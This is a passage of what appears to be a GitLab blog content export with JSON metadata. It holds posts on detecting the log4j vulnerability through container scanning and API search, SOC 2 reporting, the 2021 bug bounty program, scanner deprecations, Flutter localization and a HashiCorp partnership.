scanner](https://aquasecurity.github.io/starboard/v0.13.1/integrations/vulnerability-scanners/trivy/) under the hood. Trivy’s vulnerability DB is able to detect CVE-2021-44228.\n\nLet’s try it! A quick way to bring up a Kubernetes cluster is in Civo Cloud. Create an account, and follow the documentation on [how to set up the CLI](https://www.civo.com/learn/kubernetes-cluster-administration-using-civo-cli) with an API token. Next, create a k3s cluster. \n\n```shell\n$ civo kubernetes create log4j\n$ civo kubernetes config log4j --save\n$ kubectl config use-context log4j\n$ kubectl get node\n```\n\n`registry.gitlab.com/gitlab-de/playground/log4shell-vulnerable-app:latest` provides a vulnerable container image we can deploy and then scan. \n\n```shell\n$ vim deployment.yaml\n\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: log4j\nspec:\n  replicas: 2\n  selector:\n    matchLabels:\n      app: log4j\n  template:\n    metadata:\n      labels:\n        app: log4j\n    spec:\n      containers:\n        - image: registry.gitlab.com/gitlab-de/playground/log4shell-vulnerable-app:latest\n          name: log4j\n\n$ kubectl apply -f deployment.yaml\n```\n\n```shell\n$ vim service.yaml\n\napiVersion: v1\nkind: Service\nmetadata:\n  name: log4j\n  labels:\n    app: log4j\nspec:\n  ports:\n    - name: \"log4j\"\n      port: 8080\n  selector:\n    app: log4j\n\n$ kubectl apply -f service.yaml\n```\n\nTest the application container with port forwarding, and open your browser at http://localhost:80808. You can close the connection with `ctrl+c`. \n\n```\n$ kubectl port-forward service/log4j 8080:8080\n```\n\nAfter the deployment is finished, let’s add the cluster image scanning integration. Follow the [Starboard Operator](https://aquasecurity.github.io/starboard/v0.13.1/operator/installation/kubectl/) installation documentation. Next, configure the [Kubernetes Cluster Image Scanning](https://docs.gitlab.com/ee/user/clusters/agent/vulnerabilities.html) with GitLab. \n\nThe final step is to integrate the CI/CD template and run the pipelines. \n\n```yaml\ninclude:\n  - template: Security/Cluster-Image-Scanning.gitlab-ci.yml\n```\n\nNavigate into `Security & Compliance > Vulnerability report` and select the `Operational vulnerabilities` tab to inspect the vulnerabilities. There you can see that `log4j` was detected in the deployed application running in our Kubernetes cluster 💜. \n\n![Panel showing security vulnerabilities](https://about.gitlab.com/images/blogimages/2021-12-15-use-gitlab-to-detect-log4j/image5.png){: .shadow}\n\nInspect the `log4j` vulnerability to see more details. \n\n![Detail on vulnerability](https://about.gitlab.com/images/blogimages/2021-12-15-use-gitlab-to-detect-log4j/image3.png){: .shadow}\n\nThe full project is located [here](https://gitlab.com/gitlab-de/playground/log4j-kubernetes-container-scanning).\n\n### Search GitLab projects which use the log4j Java library\n\nYou can use the [advanced search with scope blobs](https://docs.gitlab.com/ee/api/search.html#scope-blobs). Let’s try it! Navigate to your profile and add a new personal access token (PAT). Export it into the environment to access it in the next step:\n\n```shell\n$ export GITLAB_TOKEN=xxxxxxxxx\n\n$ curl --header \"PRIVATE-TOKEN: $GITLAB_TOKEN\" \"https://gitlab.com/api/v4/search?scope=blobs&search=log4j\" \n```\n\nTip: Install jq to format the JSON body. More insights in [this blog post](/blog/devops-workflows-json-format-jq-ci-cd-lint/). \n\n```shell\n$ curl --header \"PRIVATE-TOKEN: $GITLAB_TOKEN\" \"https://gitlab.com/api/v4/search?scope=blobs&search=log4j\" | jq\n\n  {\n    \"basename\": \"src/main/resources/log4j\",\n    \"data\": \"log4j.rootLogger=ERROR, stdout\\n \\n# Direct log messages to stdout\\n\",\n    \"path\": \"src/main/resources/log4j.properties\",\n    \"filename\": \"src/main/resources/log4j.properties\",\n    \"id\": null,\n    \"ref\": \"9a1df407e1a5365950a77f715163f6dba915fdf4\",\n    \"startline\": 2,\n    \"project_id\": 12345678\n  },\n\n```\n\nYou can use `jq` to further transform and filter the result set, for example only listing the paths where `log4j` as a string exists.  \n\n```\ncurl --header \"PRIVATE-TOKEN: $GITLAB_TOKEN\" \"https://gitlab.com/api/v4/search?scope=blobs&search=log4j\" | jq -c '.[] | select (.path | contains (\"log4j\"))' | jq\n```\n\n### Next steps \n\nThe GitLab security team is continuing to proactively monitor the situation and ensure our product and customers are secure. We will continue to communicate should we identify additional opportunities to help our customers and community navigate through this situation. Please [subscribe to our security alerts mailing list](https://about.gitlab.com/company/preference-center/).\n\nPlease visit the public [log4j-resources project](https://gitlab.com/gitlab-de/log4j-resources) and visit our [forum](https://forum.gitlab.com/c/devsecops-security/) for additional information.\n",[674,2509,696],{"slug":16073,"featured":6,"template":678},"use-gitlab-to-detect-vulnerabilities","content:en-us:blog:use-gitlab-to-detect-vulnerabilities.yml","Use Gitlab To Detect Vulnerabilities","en-us/blog/use-gitlab-to-detect-vulnerabilities.yml","en-us/blog/use-gitlab-to-detect-vulnerabilities",{"_path":16079,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16080,"content":16086,"config":16093,"_id":16095,"_type":16,"title":16096,"_source":17,"_file":16097,"_stem":16098,"_extension":20},"/en-us/blog/how-gitlab-successfully-expanded-our-soc-2-type-ii-trust-services-report-criteria",{"title":16081,"description":16082,"ogTitle":16081,"ogDescription":16082,"noIndex":6,"ogImage":16083,"ogUrl":16084,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16084,"schema":16085},"GitLab expands SOC 2 Type II trust services report criteria","Here's how we expanded our SOC 2 Type 2 and SOC 3 reports.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669950/Blog/Hero%20Images/security-cameras.jpg","https://about.gitlab.com/blog/how-gitlab-successfully-expanded-our-soc-2-type-ii-trust-services-report-criteria","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab successfully expanded our SOC 2 Type II Trust Services Report Criteria\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Julia Lake\"},{\"@type\":\"Person\",\"name\":\"Liz Coleman\"}],\n        \"datePublished\": \"2021-12-14\",\n      }",{"title":16087,"description":16082,"authors":16088,"heroImage":16083,"date":16090,"body":16091,"category":674,"tags":16092},"How GitLab successfully expanded our SOC 2 Type II Trust Services Report Criteria",[16089,7094],"Julia Lake","2021-12-14","\nSOC reports are important attestations provided by an independent third party affirming that organizations are in compliance with specific technical and operational requirements defined by the American Institute of Certified Public Accountants (AICPA). GitLab obtained its first [SOC 2 Type 2 and SOC 3 reports in 2020](/press/releases/2021-02-04-soc2-and-3-certifications.html), focused on the Security criteria, for the GitLab software-as-a-service (SaaS) platform. \n\nFor 2021, GitLab’s [Security Assurance](/handbook/security/security-assurance/) team pursued expansion of our SOC 2 Type 2 and SOC 3 reports to include not only the Security, but also the Confidentiality [Trust Services Criteria (TSC)](https://us.aicpa.org/interestareas/frc/assuranceadvisoryservices/trustdataintegritytaskforce). If you are not familiar with the TSCs, here's what they cover:\n\n**Security**. Information and systems are protected against unauthorized access, unauthorized disclosure of information, and damage to systems that could compromise the availability, integrity, confidentiality, and privacy of information or systems and affect the entity’s ability to meet its objectives.\n\n**Confidentiality**. Information designated as confidential is protected to meet the entity’s objectives.\n \nThe work associated with criteria expansion required early preparation and a multi-quarter effort. We verified expansion readiness in phases:\n\n* **Phase 1:** We performed a gap analysis against the [criteria](https://us.aicpa.org/content/dam/aicpa/interestareas/frc/assuranceadvisoryservices/downloadabledocuments/trust-services-criteria-redlined.pdf) to determine existing control coverage and gaps and provide data to make a `go/no-go` decision.\n\n* **Phase 2:** We upgraded our [GitLab Control Framework (GCF)](/handbook/security/security-assurance/security-compliance/security-control-lifecycle.html) to include the new criteria requirements and held control owner deployment sessions, developed test plans, conducted detailed internal control testing, and worked any observations](/handbook/security/security-assurance/observation-remediation-procedure.html) through to closure. \n\n* **Phase 3**: We presented our validated draft controls to our independent third party auditor to confirm scope and readiness.\n\nOnce all 3 phases were complete, the SOC audit was scheduled and executed. The phased preparation allowed for both GitLab and our independent third party auditor to conduct the audit with full [transparency](https://handbook.gitlab.com/handbook/values/#transparency) and alignment. The audit process also revealed no formal exceptions.\n\nHere at GitLab we are always pursuing [the expansion of our security certification portfolio](/handbook/security/security-assurance/security-compliance/certifications.html#planned-roadmap) as we not only want to give our customers and community additional assurance, but also additional transparency into our information security practices. Have a certification you’d like to see us work towards? Let us know by emailing customer-assurance@gitlab.com, we’d love to hear from you!\n\n_Follow GitLab’s [Security Trust Center](/security/) for updates and more details on our certification portfolio. GitLab’s SOC 3 report is now publicly available via GitLab’s [Customer Assurance Package](https://about.gitlab.com/security/cap/)._\n\n\n",[674,1464,9297],{"slug":16094,"featured":6,"template":678},"how-gitlab-successfully-expanded-our-soc-2-type-ii-trust-services-report-criteria","content:en-us:blog:how-gitlab-successfully-expanded-our-soc-2-type-ii-trust-services-report-criteria.yml","How Gitlab Successfully Expanded Our Soc 2 Type Ii Trust Services Report Criteria","en-us/blog/how-gitlab-successfully-expanded-our-soc-2-type-ii-trust-services-report-criteria.yml","en-us/blog/how-gitlab-successfully-expanded-our-soc-2-type-ii-trust-services-report-criteria",{"_path":16100,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16101,"content":16107,"config":16111,"_id":16113,"_type":16,"title":16114,"_source":17,"_file":16115,"_stem":16116,"_extension":20},"/en-us/blog/smashing-bugs-and-dropping-names-in-2021",{"title":16102,"description":16103,"ogTitle":16102,"ogDescription":16103,"noIndex":6,"ogImage":16104,"ogUrl":16105,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16105,"schema":16106},"2021: Smashing bugs and dropping names","We take a look at some of the big things that happened in our Bug Bounty program this last year and celebrate the contributions of the bug bounty hunters who make it all possible.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670978/Blog/Hero%20Images/3-bug-bounty-3-years-blog.png","https://about.gitlab.com/blog/smashing-bugs-and-dropping-names-in-2021","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"2021: Smashing bugs and dropping names\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2021-12-14\",\n      }",{"title":16102,"description":16103,"authors":16108,"heroImage":16104,"date":16090,"body":16109,"category":674,"tags":16110},[12307],"2021 was the year where we started to adapt to our new normal, to get back up to speed on how to get work done in new surroundings, many of us remotely for the first time... not us here at GitLab, of course, as we’re all remote, but the rest of the ‘us’ that live and work across the world! \n\nFor us here at GitLab, there were definitely still changes 🎉 😉, but within our Application Security team, the group who manages our bug bounty program, 2021 meant program management changes, increased bounties 💥, and changes in how we score vulnerabilities and bounties 🐞.\n\nBut first, let’s take a look at 2021 by the numbers. \n\n### Metrics\n- 752 reports from 405 security researchers in 2021.\n- Awarded a total of $280K USD in bounties to 80 different researchers reporting *valid vulnerabilities*.\n- Resolved 189 reports and made 99 of those reports public.\n- Had 115 security researchers submit more than one report, meaning their first engagement with us was a positive one.  \n_Note: Data pulled is accurate as of Dec. 7, 2021._\n\n## We're now a managed program that pays more\nIn February of this year, we moved to a managed program on HackerOne. This moved the responsibility for initial triage and the legwork to reproduce new reports to the HackerOne team, and allowed our AppSec team to focus on the fixes, defense-in-depth improvements, code reviews, improved automation, and more. Rest assured though, our security engineers keep an eye on that HackerOne report queue and are ready to jump in when a report requires more in-depth knowledge of GitLab. \n\nAnd, we’re grateful for every single one of those 752 reports submitted by the amazing security researchers and bug bounty hunters who contribute to our program. You truly do make us stronger and more secure. This is why we went ahead and [raised bounties across all bounty ranges on November 22 of this year](/blog/3rd-annual-bug-bounty-contest/#-increased-bounties-across-all-bounty-ranges-). We want to ensure we’re competitively rewarding and recognizing the reporters who contribute to our program.\n\n## We want you to know\nWe’re also still working to provide reporters with insight into our bug bounty program processes, wherever possible. In March, via a blog post, we took a deep dive into the [GitLab Bug Bounty Council process](/blog/how-we-apply-gitlab-values-to-our-bug-bounty-council-process/) we use to ensure collaboration and consistency across our severity and bounty assessments. We detailed the way we hold async council discussions and cast votes in GitLab issues and how we started assigning CVSS scores to each vulnerability as an iterative step to further CVSS utilization. You can [see that we’ve since started using](/blog/3rd-annual-bug-bounty-contest/#standardizing-bounty-calculations) our own [CVSS calculator](https://gitlab-com.gitlab.io/gl-security/appsec/cvss-calculator/) to be even more transparent and consistent in our award process. We’ll take a closer look at our [HackerOne process](/handbook/security/security-engineering/application-security/runbooks/hackerone-process.html) and [CVSS-based scoring method](/handbook/security/security-engineering/application-security/runbooks/cvss-calculation.html) in a blog coming next quarter.\n\n## Tips to help your hack\nBeyond providing you with an inside look into some of our processes, we worked with some of the [top hackers from our program](https://hackerone.com/gitlab/thanks?type=team) to share video and blog content that includes [tips for streamlining your hack via GitLab repositories, projects, issues, labels, and issue boards](/blog/how-i-use-gitlab-to-help-my-hack/), details on the [types of bugs they like to track](/blog/ajxchapman-ask-a-hacker/), how, exactly, they [approach bug hunting on GitLab](https://www.youtube.com/watch?v=XRBeYXb9IlA), ways they ensure they [fit hacking in with everything else](https://www.youtube.com/watch?v=hECvkY6LnUU) life throws at them, and even how they [choose the programs and features they are going to spend their time on](https://youtu.be/eDwnTmuWFsE). Alex Chapman, [@ajxchapman on HackerOne](https://hackerone.com/ajxchapman?type=user), and William Bowling, [@vakzz on HackerOne](https://hackerone.com/vakzz), were kind enough to spend some time in public-facing Ask Me Anything (AMA) sessions with us this year. If you’re looking for inspiration, or to learn something new, [this series](https://www.youtube.com/playlist?list=PL05JrBw4t0Kqvvpk9PmRO6fZ0xmnKBp_s) is well worth your time.  Have an amazing hacker who contributes to our program that you’d like to see featured in an upcoming AMA?  Let us know via twitter at [@gitlab](https://twitter.com/gitlab) or in the comments below! \n\n## What’s in store for 2022?\nWe’ll be kicking off the new year by taking care of some house cleaning in the first few quarters – processing and spending time cleaning up our security backlog to resolve outstanding issues and minimize the chances of your next shiny, new report being a duplicate. \n\nBeyond committing to continually sharing information and insights into our processes and program and highlighting the amazing depth of expertise and talent of the hackers in our program, we're also going to keep looking for ways to improve our program for all who participate, including the potential idea of increased program scope. \n\nNow, onto the _really_ good stuff (I mean, those increased bounties are _pretty_ good, but… 🤑 ). \n\nWe announced this year’s bug bounty contest (which commemorates our [third year as a public bug bounty program](/blog/gitlab-hackerone-bug-bounty-program-is-public-today/)) on November 1 of this year and received 67 reports from 51 different individuals between November 1 and December 3, and 30 of them were from new reporters!\n\nThanks to all who contributed! 🙌\n\n## \u003Ci class=\"fab fa-gitlab fa-fw\" style=\"color:rgb(252,109,38); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  \u003Ci class=\"fas fa-gift\" style=\"color:rgb(107,79,187); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  Congratulations to these five contest winners \u003Ci class=\"fab fa-gitlab fa-fw\" style=\"color:rgb(107,79,187); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  \u003Ci class=\"fas fa-bug\" style=\"color:rgb(252,109,38); font-size:.99em\" aria-hidden=\"true\">\u003C/i>\n{: .text-center}\n\n\u003Ci class=\"fas fa-address-card fa-fw\" style=\"color:rgb(46,46,46); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most reputation points from submissions to our program.** Congratulations to [@ashish_r_padelkar](https://hackerone.com/ashish_r_padelkar) who led the pack in reputation points this period.\n{: #id-card-black}\n\n\u003Ci class=\"far fa-address-card fa-fw\" style=\"color:rgb(56,13,117); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most reputation points *collected by a reporter new to our program***. Congratulations to [@jarij](https://hackerone.com/jarij) who nailed it with the highest reputation score of any new reporter to our program.\n{: #id-card-purple}\n\n\u003Ci class=\"fas fa-pencil-alt fa-fw\" style=\"color:rgb(219,58,33); font-size:1.0em\" aria-hidden=\"true\">\u003C/i>  **Best written report.**  Congratulations to  [@ajxchapman](https://hackerone.com/ajxchapman), who once again treated us with a clear and beautifully written report as we've come to expect from Alex. Look no further than his profile page to see other examples of that!\n{: #id-pencil}\n\n\u003Ci class=\"far fa-lightbulb fa-fw\" style=\"color:rgb(252,161,33); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most innovative report.**  Congratulations to [Ngo Wei Lin of STAR Labs](https://hackerone.com/star-labs), who found a really clever way to use an intended feature and make a vulnerability out of it.\n{: #id-lightbulb}\n\n\u003Ci class=\"fas fa-exclamation fa-fw\" style=\"color:rgb(252,109,38); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most impactful finding.**  Congratulations to [@0xn3va](https://hackerone.com/0xn3va), who we believe with _little strokes fell great oaks_ (or could have)!😉\n{: #id-exclamation}\n\n*Since it is [GitLab’s policy](https://hackerone.com/gitlab#disclosure) to share details via public GitLab.com issue 30 days after releasing a fix, more details surrounding the research from the best written report, most innovative report, and most impactful finding category winners will be released in future [security release blog posts](/releases/categories/releases/).*\n\n### We cannot wait to send you one of what's below (plus a cute little Elgato Stream Deck mini to help you streamline that hack). 😎\n\n![custom GitLab Mechanical Keyboard](https://about.gitlab.com/images/blogimages/2021-gitlab-keyboard.png){: .shadow.medium.center}\nWe’re looking forward to your next bug report, submitted with this Tanuki-powered Code V3 with *gold-plated cherry mx brown switches*.\n{: .note.text-center}\n\nHere’s to smashing more bugs, together, in 2022. 🥂\n\nHappy hacking,\n\nThe GitLab Security team\n",[674,1938],{"slug":16112,"featured":6,"template":678},"smashing-bugs-and-dropping-names-in-2021","content:en-us:blog:smashing-bugs-and-dropping-names-in-2021.yml","Smashing Bugs And Dropping Names In 2021","en-us/blog/smashing-bugs-and-dropping-names-in-2021.yml","en-us/blog/smashing-bugs-and-dropping-names-in-2021",{"_path":16118,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16119,"content":16124,"config":16129,"_id":16131,"_type":16,"title":16132,"_source":17,"_file":16133,"_stem":16134,"_extension":20},"/en-us/blog/composition-analysis-group-deprecations",{"title":16120,"description":16121,"ogTitle":16120,"ogDescription":16121,"noIndex":6,"ogImage":12013,"ogUrl":16122,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16122,"schema":16123},"Announcing 14.6 Composition Analysis deprecations and behavior changes","Upcoming deprecations and behavior changes for the Dependency Scanning and License Compliance features.","https://about.gitlab.com/blog/composition-analysis-group-deprecations","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Announcing 14.6 Composition Analysis deprecations and behavior changes\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nicole Schwartz\"}],\n        \"datePublished\": \"2021-12-13\",\n      }",{"title":16120,"description":16121,"authors":16125,"heroImage":12013,"date":16126,"body":16127,"category":736,"tags":16128},[14949],"2021-12-13","\n\nThe Composition Analysis group would like to announce two deprecations and one change in a variable's behavior with the 14.6 and December 22, 2021, release.\n\n- Variable DS_EXCLUDED_PATHS behavior changed so that it now pre-filters.\n- Dependency Scanning is deprecating bundler-audit.\n- License Compliance is deprecating “approved” and “blacklisted” from the `managed_licenses` API.\n\n## Variable DS_EXCLUDED_PATHS behavior now pre-filters\n\nFor users of the Dependency Scanning variable DS_EXCLUDED_PATHS, it will now pre-filter. Dependency Scanning now considers DS_EXCLUDED_PATHS when searching for supported projects and will pre-filter out those that match. Pre-filtering prevents the analyzer from logging warnings or failing when processing dependency files that have been explicitly excluded using DS_EXCLUDED_PATHS. This enables users to skip dependency files and build files if desired, and can lead to a performance increase in some cases. \n\nThis change was made December 2, 2021, for Gemnasium; December 6, 2021, for gemnasium-python; and December 7, 2021, for gemnasium-maven. This change applies to all versions as the change is backported. \n\nYou should not need to take any action. However, if you were expecting this post-filtering behavior, and wrote custom tooling to handle that, you will need to adjust your custom tools. For example, before this change, you may have needed to manually, or using a script, delete specific files to avoid a warning or error occurring.\n\nThe previous behavior was causing failures and unexpected errors for users and, after discussions, we found that this, pre-filter as opposed to post filter, was the more expected and desired behavior.\n\n[Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/292457)\n\n[Configuration Documentation](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#configuring-dependency-scanning) \n\n## Deprecation of bundler-audit Dependency Scanning tool\n\nAs of 14.6, bundler-audit is being deprecated from Dependency Scanning. It will continue to be in our CI/CD template while deprecated. We are removing bundler-audit from Dependency Scanning on May 22, 2022, in 15.0. After this removal Ruby scanning functionality will not be affected as it is still being covered by Gemnasium.\n\nIf you have explicitly excluded bundler-audit using DS_EXCLUDED_ANALYZERS, you will need to clean up (remove the reference) in 15.0. If you have customized your pipeline's Dependency Scanning configuration – for example, to edit the `bundler-audit-dependency_scanning` job – you will want to switch to gemnasium-dependency_scanning before removal in 15.0, to prevent your pipeline from failing. If you have not used the DS_EXCLUDED_ANALYZERS to reference bundler-audit, or customized your template specifically for bundler-audit, you will not need to take action.\n\n[Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/289832) \n\nSee all upcoming deprecations on our [Deprecation Page](https://docs.gitlab.com/ee/update/deprecations) \n\n## Deprecate legacy approval status names from the License Compliance API\n\nWe deprecated legacy names for approval status of license policy (blacklisted, approved) in the `managed_licenses` API but they are still used in our API queries and responses. They will be removed in 15.0. \n\nIf you are using our License Compliance API, you should stop using the “approved” and “blacklisted” query parameters. They are now “allowed” and “denied\". In 15.0, the responses will also stop using “approved” and “blacklisted”. You will want to adjust any of your custom tools to be able to use the old and new values so they do not break with the 15.0 release. \n\n[Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/335707) \n\nSee all upcoming deprecations on our [Deprecation Page](https://docs.gitlab.com/ee/update/deprecations)\n",[754,774],{"slug":16130,"featured":6,"template":678},"composition-analysis-group-deprecations","content:en-us:blog:composition-analysis-group-deprecations.yml","Composition Analysis Group Deprecations","en-us/blog/composition-analysis-group-deprecations.yml","en-us/blog/composition-analysis-group-deprecations",{"_path":16136,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16137,"content":16143,"config":16148,"_id":16150,"_type":16,"title":16151,"_source":17,"_file":16152,"_stem":16153,"_extension":20},"/en-us/blog/how-to-automate-localization-for-flutter-apps",{"title":16138,"description":16139,"ogTitle":16138,"ogDescription":16139,"noIndex":6,"ogImage":16140,"ogUrl":16141,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16141,"schema":16142},"How to automate localization for Flutter apps","Follow this tutorial to learn how to simplify the localization process on GitLab with Localizely.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679465/Blog/Hero%20Images/flutterbanner.png","https://about.gitlab.com/blog/how-to-automate-localization-for-flutter-apps","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to automate localization for Flutter apps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2021-12-10\",\n      }",{"title":16138,"description":16139,"authors":16144,"heroImage":16140,"date":16145,"body":16146,"category":734,"tags":16147},[711],"2021-12-10","\n\nLocalization is an indispensable part of today's software. Almost all successful companies strive to adapt their products to different languages, regions, and cultures. Customer satisfaction is crucial for business. However, that often comes at a cost in terms of the higher complexity in software development and maintenance. In addition to regular activities, you must also take care of translation, its synchronization with development processes, and the like.\n\nThe question is: Can we somehow simplify the localization process and make it more agile? The answer is “yes.\" Below, you can see how GitLab and the [Localizely](https://localizely.com/) platform can help. For that purpose, we will use a simple Flutter project. However, the same approach can be applied to other programming languages and frameworks.\n\n## A few words about the Flutter project\n\nFlutter is an open-source framework developed by Google for building multi-platform apps from a single codebase. It has become quite popular lately, as it solves some things much better than some other solutions (hot-reload, performance, etc.). Since the point of this post is the automation of localization, we will not deal with Flutter too much. But we will certainly highlight some important things regarding localization in Flutter projects.\n\nWhatever approach you used to create and localize your Flutter project, its structure would probably be similar to the one below. \n\n![Flutter project structure](https://about.gitlab.com/images/blogimages/fluttergraphic.png){: .shadow.small.left}\n\nAbove, you can see the l10n folder with the two [ARB](https://localizely.com/flutter-arb/) files. Each ARB file contains translations for one language in the Flutter project (i.e. intl_de.arb for German and intl_en.arb for English). Whenever we want to add, modify, or remove a translation, we need to update those files. In other words, those files are the basis of localization in Flutter projects. They separate programming from translation but require synchronization with your code so that each message has a corresponding translation.\n\n## The usual way of localization\n\nThere is no exact rule or process that describes the usual way of localization. However, we could roughly describe it as the routine of a few steps:\n\n1. The developer updates code and the main ARB file.\n2. The developer sends ARB files to the project manager.\n3. The project manager sends ARB files to translators (e.g. email, upload to localization platform, etc.).\n4. The translators work on translations.\n5. The project manager forwards translated ARB files to the developer.\n6. The developer updates the Flutter project with new translations.\n\nIn this simplified case of localization, we can already notice some tasks that drain a lot of time and can be a bottleneck. Those are steps 2, 3, and 5. Moreover, these six steps can be frequent (e.g. update of the UI, new feature, etc.), which is not exactly the optimal solution. And that is even truer for medium and large teams. Just imagine how much time is wasted on file sharing when you have to coordinate in a team of 10+ people. Not to mention the problem with outdated ARB files.\n\n## Automated localization\n\nSince you've seen some flaws in the usual way of localization, let's see how we can optimize that.\n\n1. The developer updates code, the main ARB file, and pushes changes to GitLab.\n2. GitLab informs Localizely via webhook regarding new changes. \n3. Localizely fetches ARB files from GitLab and lets translators work on translations.\n4. The project manager pushes updated ARB files to GitLab via [MR](https://docs.gitlab.com/ee/user/project/merge_requests/).\n5. The developer updates the Flutter project with new translations (merge MR).\n\nThis way of working enables everyone to do their job more efficiently. Developers can be focused on the development of the product, translators on translations, managers on management, and similar. It should also be noted that with this type of workflow, you can easily accelerate the development and delivery of new features, which is in everyone's interest.\n\nTo make this workflow possible, you need to adjust a few things. In the following, you can see the necessary settings.\n\n1. Add a [localizely.yml](https://localizely.com/configuration-file/) config file to the root of your Flutter project. \n2. Set up [GitLab integration](https://localizely.com/gitlab-integration/) on the Localizely platform. \n3. Add a webhook to the GitLab repository.\n\nAnd that’s all. You have automated localization on your Flutter project. Whenever the developer pushes the changes to GitLab, the translators will see new string keys on the Localizely. Once the translation is done, a single click on the button creates a new MR with the latest translations on GitLab. There is no need for a mediator, waiting, or sending ARB files for every little thing. Now you can have more time for other things as this tedious work is automated.\n\n## Final thoughts\n\nIn this post, you have seen the most common steps of localization in Flutter projects and how to automate some of them. Knowing how important efficiency is today, we should strive to automate repetitive tasks as much as possible. As someone once said, “Lost time is never found again”.\n\n",[4103,6962,696],{"slug":16149,"featured":6,"template":678},"how-to-automate-localization-for-flutter-apps","content:en-us:blog:how-to-automate-localization-for-flutter-apps.yml","How To Automate Localization For Flutter Apps","en-us/blog/how-to-automate-localization-for-flutter-apps.yml","en-us/blog/how-to-automate-localization-for-flutter-apps",{"_path":16155,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16156,"content":16161,"config":16166,"_id":16168,"_type":16,"title":16169,"_source":17,"_file":16170,"_stem":16171,"_extension":20},"/en-us/blog/congratulations-to-hashicorp",{"title":16157,"description":16158,"ogTitle":16157,"ogDescription":16158,"noIndex":6,"ogImage":14571,"ogUrl":16159,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16159,"schema":16160},"Congratulations to HashiCorp! Enjoy the cake!","We’re thrilled to see our open source and tech partner HashiCorp join us in the public market. Public companies like HashiCorp, MongoDB, Confluent, and GitLab show that with the right business models, open source can be highly profitable. Here’s a look at HashiCorp’s history, our partnership, and a nod to the future.","https://about.gitlab.com/blog/congratulations-to-hashicorp","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Congratulations to HashiCorp! Enjoy the cake!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2021-12-09\",\n      }",{"title":16157,"description":16158,"authors":16162,"heroImage":14571,"date":16163,"body":16164,"category":8943,"tags":16165},[711],"2021-12-09","![Cake with message reading \"Congrats on your IPO!\"](https://about.gitlab.com/images/blogimages/hashicorp-cake.jpg)\n\nFrom one open source DevOps company to another, we want to congratulate HashiCorp on becoming a public company! In celebration of your debut in the public markets we sent you a cake!\n\nGitLab and HashiCorp have been partners since 2019. And not only do we work well together, we have a lot in common: both companies have strong business models that are open-core providing both open-source and proprietary features for DevOps practitioners enabling them to create safer software faster. We may solve very different problems in the DevOps ecosystem, but that’s what makes us great partners.\n\n## HashiCorp: always ahead of the curve\n\nAlthough co-founder Mitchell Hashimoto didn’t officially incorporate HashiCorp (named after him) until 2012, he was making contributions to the open source community [from the time he was a teen](https://thenewstack.io/new-stack-makers-mitchell-hashimoto-vagrant-containers-growing-open-source/). And it’s clear Mitchell and team approached the business with a fresh perspective: HashiCorp’s Vagrant was the first automated provisioning of developer environments, which was very useful for onboarding and demos. When Docker became more popular, Vagrant added a Docker provider, making it more usable, even with Docker and Docker Compose later around.\n\nThe team made another bold move in 2014, rolling out the HashiCorp configuration language (HCL) as an alternative to YAML. The step got developers talking and taking sides, but also thinking about what might work best.\n\nAll of those efforts led to perhaps the most ground-breaking part of HashiCorp’s strategy: Vault. The company’s solution that safely stores and controls access to tokens, secrets, API keys, and more, is not just successful, it’s revolutionary. HashiCorp has turned the idea of secrets keeping on its head, by not just allowing companies to store secrets away, but to also have to renew them regularly, kind of like changing the locks on your door on a regular schedule, rather than giving out lots of keys. Clearly this is a paradigm shift for security.\n\n## HashiCorp and GitLab together\n\nVault’s a breakthrough technology for HashiCorp (don’t forget you can use GitLab with Vault to set up [GitLab OpenID connect for authentication](https://docs.gitlab.com/ee/integration/vault.html) or access your [secrets securely in CI](https://docs.gitlab.com/ee/ci/secrets/) as variables) but it’s just one of many that we integrate with.\n\n### Terraform and the GitLab DevOps Platform\n\n[Terraform](https://www.terraform.io) plays a critical role in GitLab’s GitOps/Infrastructure as Code (IaC) workflows, lowering the barriers to entry for teams to adopt Terraform while enabling them to use more stages on the DevOps platform. GitLab’s Terraform integration allows teams to manage the Terraform state in GitLab without external configuration backends.\n\nWe have created the [GitLab Terraform Provider](https://docs.gitlab.com/ee/user/infrastructure/iac/#the-gitlab-terraform-provider) to manage resources on your GitLab instance like groups, projects, users, and more to improve productivity by eliminating an engineer’s dependence on provisioning requests.\n\nA merge request is the center of all collaboration on the DevOps platform. It is important to verify how changes will affect your 